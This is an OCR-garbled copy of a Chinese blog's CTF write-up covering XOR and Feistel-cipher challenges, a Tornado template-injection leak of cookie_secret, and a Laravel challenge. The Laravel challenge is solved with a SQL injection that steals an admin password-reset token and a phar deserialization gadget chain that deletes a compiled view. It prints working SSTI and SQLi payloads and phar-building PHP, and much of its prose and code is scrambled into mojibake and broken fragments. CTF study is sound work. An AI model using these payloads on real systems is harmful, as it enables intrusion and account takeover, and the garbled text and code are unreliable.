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FREE: wp XEHL: CTF Web

R B AR SONTEE RIS E, BIE.CC 4.0 BY-SA MM, FBIEM LR SCH AMBEEMAREH .
ACEERE: https://blog.csdn.net/qq_38412357/article/details/83063578
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i Wp ERERCGRIZ N R
IWXEOITH
RS

WM XKFERMFIEE: http:/mmmmmmlei.cn
BH—KWE T — B LITE.

Misc

i JiNESE)

B B 37 easy xor, 3T FF 4 2 — & base64:

AAoHAR1QUIBTJVBQIMRVISWJVINUINWIF ZUX1ZRJ1dWU1dfURs=

RS R ELAY o
BB CSAW FRD S — M — A —F¢, FHEA:

cipher=base64.b64decode(ciphertext)
for i in (CIVEIDE

result

for s in cipher:
result ( (s)"i)

if in result:

print result

flag{64F5C66E23D80C4A450F02907A105197}

Crypto

fez

2 H IR


https://blog.csdn.net/qq_38412357
https://blog.csdn.net/qq_38412357/category_7746860.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38412357/article/details/83063578
https://blog.csdn.net/qq_38412357/category_7746860.html
http://mmmmmmlei.cn

assert (b)
¢
for i in ( (a)):
c (ord(a[i]) (b[i]))
return c
f(x,k):
return xor(xor(x,k),7)
round(M,K):
L=M[0:27]
R=M[27:54]
new_1=R
new_r=xor(xor(R,L),K)
return new_l+new_r
fez(m,K):
for i in K:
m (m,1)

return m

K.append(os.urandom(27))

( c ).read()
assert (m)<54
m+=0s .urandom(54 (m))

test=o0s.urandom(54)

print test.encode( )
print fez(test,K).encode(

print fez(m,K).encode(

ST =4 print KR, SITMELRER feistel HELH, BRT L, EMAFE, WEEH LHREAD RPHEHD), &
JE N B S5 R A -

L_enc: R xor K1
R_enc: L xor R xor K2

BESGH T test fl test INFEISE R, ATRAHE W K1 R K2, AEFIH flag #3855 E H flagiSCHIA 84, #mAE
flag.

AT



def xor(a,b):
assert ©)) (b)

C

for i in ( (a)):

c (a[i]) (b[i]))

return c

test=test.decode( )
test _enc=test_enc.decode(

flag_enc=flag _enc.decode(

kl=xor(test[27:54],test_enc[0:27])
k2=xor(xor(test[27:54],test[0:27]),test_enc[27:54])
flag r=xor(kl,flag enc[0:27])
flag_l=xor(flag_r,xor(k2,flag_enc[27:54]))

print flag_l+flag r

flag{festel_weak_666_11xd77fhy33}

Web
easy tornado

BB B AT =AM 5T

Orz.txt # &2 render()
hint.txt # %3272 md5(cookie_secret + md5(filename))
flag.txt # £ 42R A& fillllNag

url #%3: http://117.78.26.200:31031/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f

IR PLZF R MAlllag T, {H&Z1X B cookie_secret AAIIE .
B render(), BTUANZFEAE SSTI, iR ferror?msg={1}}**, KT LA, EHEIETHLLHFER, THEEERT

cookie_secret XA & .

ZRT RS EY, TR, MiZ2EFH tornado HELE R #7 2iLEL cookie_secret.

TEIX SCEH R B cookie_secret £ Fhandler | settings #, FrLli4i& payload: http:/117.78.26.200:31031/error?msg=
{{handler.settings}}, 8%l cookie_secret:

‘cookie_secret’: g!E#Ax& ywJ[d1BRWe5U?qa\@u4plh<M$sTrOVL2t*3CKzv7mb]S-c8>X)G.IYDQ

A T cookie_secret filename #& Mlllllllag, ) H 4N #kE md5 A& 4% %1, payload:

http://117.78.26.200:31031/file?filename=/f1111111111ag&signature=a20e8913e76b38d61f13cb22ba8d59cf5

1533 flag:


https://tornado-zh.readthedocs.io/zh/latest/web.html
http://117.78.26.200:31031/error?msg=%257B%257Bhandler.settings%257D

flag{975596d6031dd373b313acc910a6891f}

Itshop
S5 VR JE T T AEAT I U0 R SR A 36 4R mysql IS, % — 3K docker E3...
easy_laravel

BB IFEATN wp EI T —3, emmmmmm RERPIXNMEILSL easy laravel, ATUABBAFIIA T . BAE web— B —4
HEZE, FTAFITAG)...

github ) docker #ilik: https://github.com/sco4x0/huwangbei2018_easy_laravel

M TIEARAYL T S HAE:  hitps:/github.com/qqgqaavgl/easy laravel.

EM—TF, #ERIRE— note, BRITM:

$factory->define(App\User::class, function (Faker\Generator $faker) {
$password;

[

"name’ "4uuu Nya',

"email’ "admin@gvqg.im’,
'password’ bcrypt(str_random(40)),
'remember_token' str_random(10),

WE T EHERK AL TR, ERFEGZMEN 40 £, BERATRT .

E—TEH, KIWRE note ThAe 2L B 57 AT AT )


https://github.com/sco4x0/huwangbei2018_easy_laravel
https://github.com/qqqqqqvq/easy_laravel

class="nav navbar-nav navbar-left">

@if(Auth::check())
@if(Auth::user()->email === '"admin@gvq.im')
<li><a href="{{ route('upload') }}">upload</a></1li>
<li><a href="{{ route('files') }}">files</a></1i>

<li><a href="{{ route('flag') }}">flag</a></1i>
@endif
<li><a href="{{ route('note') }}">note</a></1i>
@endif
>

MABMNELEZEE R F 0B %,

E— T note #£#i|3% NoteController, KILIFLETEN:

function index(Note $note)

$username = Auth::user()->name;

$notes = DB::select(" “notes’ “author™="'{$username}'");
view('note', compact('notes'));

FrLAfi&E admin’or 1# 348, Bt

HER®N:

ERTCEB M R EERA A

BATE R T EEFHKAH:



function up()

Schema: :create('password_resets', function (Blueprint $table) {
$table->string('email’)->index();

$table->string('token')->index();
$table->timestamp('created_at')->nullable();

s

KT laravel IEZRE BHY, W LAF—T3XH:

https://laravel-china.org/docs/laravel/5.6/passwords/1384

KRR R EHEERDG, MATEIE, REER—ANEHERIKSH token, %A email FIXT LA token , BEAT LAl
Ipassword/reset/token E B %Y, token BEABHINE?

FA1%E 2 email 1 token HAFN T HIEER, MEMNGENR, BEEERAEBETUAER.
HABMNAGTEEEW, MATERIM. 5846 %EEE token:

payload:

admin'union select 1, (select token from password_resets where email='admin@qvq.im'),3,4,5#

£

http://192.168.146.145:2333/password/reset/8eeadlc7ef5cdf968941d07b321722a70c8bc89086d0149979e7ec91d5c07870



https://laravel-china.org/docs/laravel/5.6/passwords/1384

Reset Password

E-Mail Address admin@qvg.im

Password =~ seeee

Confirm Password =~ =+

BRI ENE G

Easy Laravel

flag #43 &7~ no flag.
RAVE—T flag ForrEH, KIHPHERT flag:

function showFlagLﬂ

$flag = file get contents('/thlsls Fl4g 2333333');
view(''auth.flag')->with('flag', $flag);

XEK% m 2 Blade BRER, HEFEAMER, RAILEEFEE flag, ZHXE
B ARATZ S st M BR A7 XA, 323 flag, B RZIRBIEAF M.
A4 7 Rlaravel B B AR, A RTTET

public function getCompiledPath($path)

L
1

return $this->cachePath. .shal($path).

}



https://www.jianshu.com/p/7d65f9eb94be

X B K $path BRI E, R&** /usr/share/nginx/html/resources/views/auth/flag.blade.php **
nginx 7 BRA M5 4R H 32 /usr/share/nginx/html, 177 WX 5 18 %48 A1 G2 47 SCAF I EE /storage/framework/views, Ik shat &%,
Bt A Ja B AR R

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

BT ERE, BAEMERYE?

FIF composer FI&-FpkH, SHixkE wRHAM. (WTUFRIA I5H K docker Hulik B i) composer.phar, 7] A7 IR AR 2 F

composer install Z2%)

% — Fcomposer,i#% unlike , &I T 7ESwift_ByteStream_TemporaryFileByteStream{¥j# # & ¥# unlike, K% &8
S BRI TR SR AT A A4 B B B 2 47, 7298 B Al R I 5 3 AL 2

BAIAE check XERILT file_exists:

public function check(Request $request)

$path = $request->input( , $this->path);
$filename = $request->input( , hull);
if($filename){
if(!file _exists($path . $filename)){
Flash::error(
}else{
Flash::success(
}.
return redirect(route(

HRT phar/l RIFFIRIFTEE, FTASHEIXE L E
XFEEBRAIEIE phar &, LT 2Wi&ER php £AHS:

ERE—T: “FHEHR php.ini ) phar.readonly 1513 B Aoff, H WA phar X4 (php.ini BB ICRIERTE K", " £ 5,
Tt — REEHD 5T — BB

<?php
class Swift ByteStream_ AbstractFilterableInputStream {

protected $sequence 0;

private $filters [1;

private $writeBuffer



https://www.jianshu.com/p/018c83d6b38c
https://pigjian.com/article/composer-laravel-package-of-local-development
https://xz.aliyun.com/t/2715

private $mirrors [1;

}

class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {

private $_offset = 0;

private $_path;

private $_mode;

private $_reader;

private $ writer;

private $ quotes = false;

private $ seekable = null;

public function

{

_construct($path, $writable

$this-> path = $path;
$this-> mode = $writable

if (function_exists(

$this-> quotes = true;

public function getPath()

{
return $this-> path;

}

class Swift_ByteStream_TemporaryFileByteStream extends Swift ByteStream_FileByteStream {

public function _ construct() {
$filePath

parent:: construct($filePath, true);

}
public function _ destruct() {

if (file_exists($this->getPath())) {

@get_magic_quotes_runtime()

1) {




new Swift ByteStream_TemporaryFileByteStream();
new Phar(

startBuffering();

setStub(

setMetadata($obj);

addFromString(

stopBuffering();
rename (

?>

EHRTRER AN 1.gif X, b bk, RIXHIIRE TEA

Easy Lars

MRJ5 check —TF, EREIE, HIN—T path 28, HHEE LESA LK check #4HIRY.,

[ﬂ Request to http://192 168 146.145:2333

l Forward J l Drop J | Intercept is on | Action

Raw | Params | Headers | Hex

POST /check HTTR/L.1

Host: 192.1F68.14F6.145:2333

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =€4; rv:£0.0) Gecko/201l0010L1 Firefox/E0.0

Accept: text/html,application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8

Accept-Language: zh-CN, zh;q=0.8,zh-TW;q=0.7, eh-HK;g=0.5,en-U3;q=0.3,en;q=0.2

Referer: http://192.168.146.145:2333/files

Content-Type: application/x-www-form-urlencodsd

Content-Length: E5

Cookie:
HSRF-TOKEN=2yJpdil&IjclQ3NhSHIFLHRDMFI LSFROSESANEESPS I InZhbHVIIJoiN0SKEVE 1M Y v U0 Y LUZ xroUC L uM3 JRAXZLa0w 100Nl 1wlkS3 d 1 MyvaldlcWEzRk St CnyWVEFEZLF a3
zIScCtoelzdkint0aTEie XZuZXEye3JCATFRZ LEnPTOLLCIE TWHi0iJhMWVHhOD Ty M Y4 Y UZNZ Y5 23 Q3N sV iNWV ZWIZ EmEvZGTSHNDHZ OTZENDE LOWVEN ] JRENDF LYWEx HDEOYTUON] Ay In0% 3
D;

laravel session=syJpdilé ImdwVIswanFqQUpsh l0ShbHeSMEp1hEESPSISInZnbHVITIoININKRIEZXCS INKTIVD1SZ3heUmSUTORETF REXTLINARZATQL 15T0p3 OXARNKh I T2 Q0bVETES
czV3TVUraz IwTmFhZ0RNe TVWAZ x LaZ MM Tg4al QwTEVRP TOLLC It YWHAOi TSMI UL ZD IS 2 V22  EkEJNmMDEy Y Tgw Y 23 V) 1N 4 ZDA0YZF 1 ZD Ax MU N zhi VI MwMGF kMDD Uy ¥ 2 U0 ZmlTxI z Ax
In0%3D

Connection: closs

Upgrade-Inssecure-Requests: 1

path=phar:///usr/share/nginx/htwl/storage/app/publicefilename=%2FLl.gif& token=5jhFOQESRiSOFPP LE3DWOL34JrMOGE zATnDZ uyoyy

rage/app/public

fi i FEIAG, MIBREAF M, Vi flag EATEAE 2 flag T .



Dashboard

flagltest_flag!

https://www.kingkk.com/2018/10/%E6%8A%A4%E7%BD %91%E6%9D %AF-web/
http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD %91%E6%9D %AF-web-writeup/

http://www.venenof.com/index.php/archives/565/

B
web FEK.


https://www.kingkk.com/2018/10/%25E6%258A%25A4%25E7%25BD%2591%25E6%259D%25AF-web/
http://skysec.top/2018/10/13/2018%25E6%258A%25A4%25E7%25BD%2591%25E6%259D%25AF-web-writeup/
http://www.venenof.com/index.php/archives/565/
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